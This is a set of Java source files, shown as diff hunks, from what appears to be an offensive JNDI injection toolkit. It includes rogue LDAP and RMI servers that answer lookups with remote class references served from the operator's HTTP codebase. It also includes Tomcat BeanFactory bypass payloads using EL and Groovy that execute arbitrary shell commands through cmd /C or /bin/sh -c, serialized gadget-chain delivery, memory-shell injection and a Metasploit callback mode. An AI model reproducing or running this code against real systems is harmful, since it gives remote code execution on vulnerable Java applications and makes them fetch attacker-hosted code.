e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
|
||||
* 关键在这个类里进行了处理
|
||||
* 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。
|
||||
*/
|
||||
@Override
|
||||
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||
String base;
|
||||
if (!ROUTE.equals("")) {
|
||||
base = ROUTE;
|
||||
} else {
|
||||
base = result.getRequest().getBaseDN();
|
||||
}
|
||||
try {
|
||||
if (!AESkey.equals("123")) {
|
||||
base = base64Decode(base);
|
||||
base = AESUtils.decrypt(base, AESkey);
|
||||
}
|
||||
} catch (Exception AESerr) {
|
||||
|
||||
}
|
||||
|
||||
//收到ldap请求
|
||||
System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||
LdapController controller = null;
|
||||
//find controller
|
||||
//根据请求的路径从route中匹配相应的controller
|
||||
for (String key : routes.keySet()) {
|
||||
//compare using wildcard at the end
|
||||
if (base.toLowerCase().startsWith(key)) {
|
||||
controller = routes.get(key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (controller == null) {
|
||||
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
//从控制器中进行返回
|
||||
controller.process(base);
|
||||
controller.sendResult(result, base);
|
||||
} catch (Exception e1) {
|
||||
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,349 @@
|
||||
package com.qi4l.jndi;
|
||||
|
||||
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.InjShell;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.*;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
|
||||
* <p>
|
||||
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
|
||||
|
||||
private final ServerSocket ss;
|
||||
private final Object waitLock = new Object();
|
||||
private final URL classpathUrl;
|
||||
private boolean exit;
|
||||
|
||||
|
||||
public RMIServer(int port, URL classpathUrl) throws IOException {
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
String url = "http://" + ip + ":" + rmiPort;
|
||||
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
|
||||
RMIServer c = new RMIServer(rmiPort, new URL(url));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static ResourceRef execByEL() {
|
||||
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
ref.add(new StringRefAddr("x", String.format(
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
|
||||
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
|
||||
")",
|
||||
Config.command
|
||||
)));
|
||||
|
||||
return ref;
|
||||
}
|
||||
|
||||
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
System.err.println("[+] Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
try (DataOutputStream out = new DataOutputStream(bufOut)) {
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.err.println("Closing connection");
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException ignored) {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
|
||||
System.err.println("[+] RMI服务器 >> 正在读取信息");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
} else if ("java.lang.String".equals(desc.getName())) {
|
||||
return String.class;
|
||||
}
|
||||
throw new IOException(" RMI 服务器 >> 无法读取 Object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (java.io.IOException e) {
|
||||
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
|
||||
}
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
// DGC
|
||||
handleDGC(ois);
|
||||
} else if (read.hashCode() == 0) {
|
||||
if (handleRMI(ois, out)) {
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
|
||||
int method = ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
|
||||
if (method != 2) { // lookup
|
||||
return false;
|
||||
}
|
||||
|
||||
String object = (String) ois.readObject();
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
|
||||
out.writeByte(TransportConstants.Return); // transport op
|
||||
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
|
||||
|
||||
oos.writeByte(TransportConstants.NormalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
//反射调用的类名
|
||||
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||
|
||||
if (object.startsWith("Local")) {
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 发送本地类加载引用"));
|
||||
System.out.println("-------------------------------------- RMI Local Refenrence Links --------------------------------------");
|
||||
String[] cmd = object.split(" ");
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(cmd[1]));
|
||||
Reflections.setFieldValue(rw, "wrappee", EchoClass);
|
||||
} else if (object.startsWith("E-")) {
|
||||
String object1 = object.substring(object.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(object1));
|
||||
String className = EchoClass.getName();
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class";
|
||||
String classPath = className + ".class";
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl));
|
||||
System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------");
|
||||
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", classPath, turl));
|
||||
} else if (object.startsWith("M-")) {
|
||||
//M-EX-MS-RFMSFromThreadF-bx#params
|
||||
String object1 = object.substring(object.indexOf('-') + 1);
|
||||
String[] parts = object1.split("#");
|
||||
String[] parts1 = parts[1].split(" ");
|
||||
InjShell.init(parts1);
|
||||
String className = Gadgets.createClassB(parts[0]);
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class";
|
||||
String className2 = className1.substring(className1.lastIndexOf('/') + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl));
|
||||
System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------");
|
||||
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", className2, turl));
|
||||
}
|
||||
|
||||
Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||
refF.setAccessible(true);
|
||||
refF.set(rw, new UnicastServerRef(12345));
|
||||
|
||||
oos.writeObject(rw);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
private final URL sendUrl;
|
||||
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
StringBuilder cb = new StringBuilder();
|
||||
|
||||
for (URL u : us) {
|
||||
cb.append(u.toString());
|
||||
}
|
||||
writeObject(cb.toString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package com.qi4l.jndi;
|
||||
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.ObjectPayload;
|
||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||
|
||||
import static com.qi4l.jndi.controllers.ysoserial.ysoserial;
|
||||
|
||||
public class Starter {
|
||||
|
||||
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
|
||||
static {
|
||||
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean JYsoMode = false;
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length > 0 && args[0].equals("-j")) {
|
||||
Config.applyCmdArgs(args);
|
||||
LdapServer.start();
|
||||
HTTPServer.start();
|
||||
RMIServer.start();
|
||||
}
|
||||
if (args.length > 0 && args[0].equals("-y")) {
|
||||
JYsoMode = true;
|
||||
ysoserial(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.GadgetType;
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.InjShell;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.jndi.template.CommandTemplate;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
|
||||
import java.net.URL;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
/**
|
||||
* 本地工厂类加载
|
||||
*/
|
||||
@LdapMapping(uri = {"/basic"})
|
||||
public class BasicController implements LdapController {
|
||||
private static String payloadType;
|
||||
//最后的反斜杠不能少
|
||||
private final String codebase = Config.codeBase;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with basic remote reference payload|@"));
|
||||
Entry e = new Entry(base);
|
||||
String className = "";
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
className = EchoClass.getName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
className = Gadgets.createClassB(ClassName1);
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
|
||||
commandTemplate.cache();
|
||||
className = commandTemplate.getClassName();
|
||||
}
|
||||
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
URL turl = new URL(new URL(this.codebase), className1 + ".class");
|
||||
System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
|
||||
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaCodeBase", this.codebase);
|
||||
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
|
||||
e.addAttribute("javaFactory", className);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType));
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+] Command |@" + cmd));
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - Tomcat and Groovy in classpath
|
||||
*
|
||||
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
|
||||
*
|
||||
* Groovy 语法参考:
|
||||
* - https://xz.aliyun.com/t/8231#toc-7
|
||||
* - https://my.oschina.net/jjyuangu/blog/1815945
|
||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/groovybypass"})
|
||||
public class GroovyBypassController implements LdapController {
|
||||
private PayloadType type;
|
||||
private String[] params;
|
||||
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
|
||||
" ['cmd','/C', '${cmd}'].execute();\n" +
|
||||
" } else {\n" +
|
||||
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
|
||||
" }";
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with groovy.lang.GroovyShell payload|@"));
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=evaluate"));
|
||||
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
|
||||
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
String payloadType = base.substring(firstIndex + 1, secondIndex);
|
||||
if (payloadType.equalsIgnoreCase("command")) {
|
||||
type = PayloadType.valueOf("command");
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
|
||||
} else {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
|
||||
}
|
||||
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
|
||||
params = new String[]{cmd};
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
|
||||
public interface LdapController {
|
||||
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
|
||||
|
||||
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
import java.lang.annotation.Target;
|
||||
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
@Target(ElementType.TYPE)
|
||||
public @interface LdapMapping {
|
||||
String[] uri();
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import javax.naming.RefAddr;
|
||||
import java.util.Properties;
|
||||
|
||||
//this is a stub class required by WebSphere2 ldap handler
|
||||
public class PropertiesRefAddr extends RefAddr {
|
||||
private static final long serialVersionUID = 288055886942232156L;
|
||||
private Properties props;
|
||||
|
||||
public PropertiesRefAddr(String addrType, Properties props) {
|
||||
super(addrType);
|
||||
this.props = props;
|
||||
}
|
||||
|
||||
public Object getContent() {
|
||||
return this.props;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.GadgetType;
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.jndi.gadgets.ObjectPayload;
|
||||
import com.qi4l.jndi.gadgets.utils.Serializer;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.commons.cli.CommandLine;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.Config.Config.BCEL1;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/deserialization"})
|
||||
public class SerializedDataController implements LdapController {
|
||||
public static String gadgetType;
|
||||
public static String cmd11;
|
||||
public static GadgetType gadgetType1;
|
||||
public static CommandLine cmdLine;
|
||||
private PayloadType payloadType;
|
||||
private String params;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
System.out.println(ansi().render("@|green [+] Send LDAP result for|@" + base + " @|green with javaSerializedData attribute|@"));
|
||||
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
|
||||
Entry e = new Entry(base);
|
||||
|
||||
byte[] bytes;
|
||||
|
||||
try {
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(params);
|
||||
|
||||
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
|
||||
bytes = (byte[]) object;
|
||||
} else {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
bytes = Serializer.serialize(object, out);
|
||||
}
|
||||
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaSerializedData", bytes);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
try {
|
||||
gadgetType = base.substring(firstIndex + 1, secondIndex);
|
||||
System.out.println(ansi().render("@|green [+] GaddgetType : |@" + gadgetType));
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
int fourIndex = base.indexOf("/", thirdIndex + 1);
|
||||
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
|
||||
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
|
||||
// 若第三个斜杠不存在,则把其设置成为字符串的长度
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
|
||||
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
|
||||
